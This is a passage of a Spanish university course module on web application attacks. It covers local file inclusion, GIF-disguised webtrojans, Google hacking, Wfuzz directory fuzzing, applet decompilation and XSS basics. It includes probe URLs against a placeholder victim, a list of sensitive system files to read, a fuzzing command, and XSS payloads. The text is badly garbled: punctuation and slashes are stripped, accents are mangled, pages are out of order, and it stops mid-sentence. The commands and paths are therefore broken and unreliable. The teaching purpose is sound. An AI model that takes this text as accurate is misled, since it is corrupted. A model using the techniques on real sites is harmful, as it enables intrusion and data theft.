Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web
1 Ataques de inyeccioacuten de scripts
Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que
comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin
El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la
fijacioacuten de los objetivos perseguidos
Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-
yectar en el contexto de un dominio un coacutedigo Javascript VBScript o
simplemente HTML con la finalidad de engantildear al usuario o realizar
una accioacuten no deseada suplantaacutendole
Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-
tado no es directamente el servidor como podriacutea ser en el caso de un ataque
de SQL Injection sino que el objetivo directo es el usuario Posteriormente
si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten
ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse
desde una paacutegina web
Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados
como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-
clarando incluso que errores de este tipo no podriacutean llegar a comprometer la
seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la
inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-
ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial
Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-
ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A
pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-
gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar
coacutedigo Javascript
CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web
Zone-H
El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados
El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban
Samy Worm y MySpace
El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm
Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace
El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil
En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
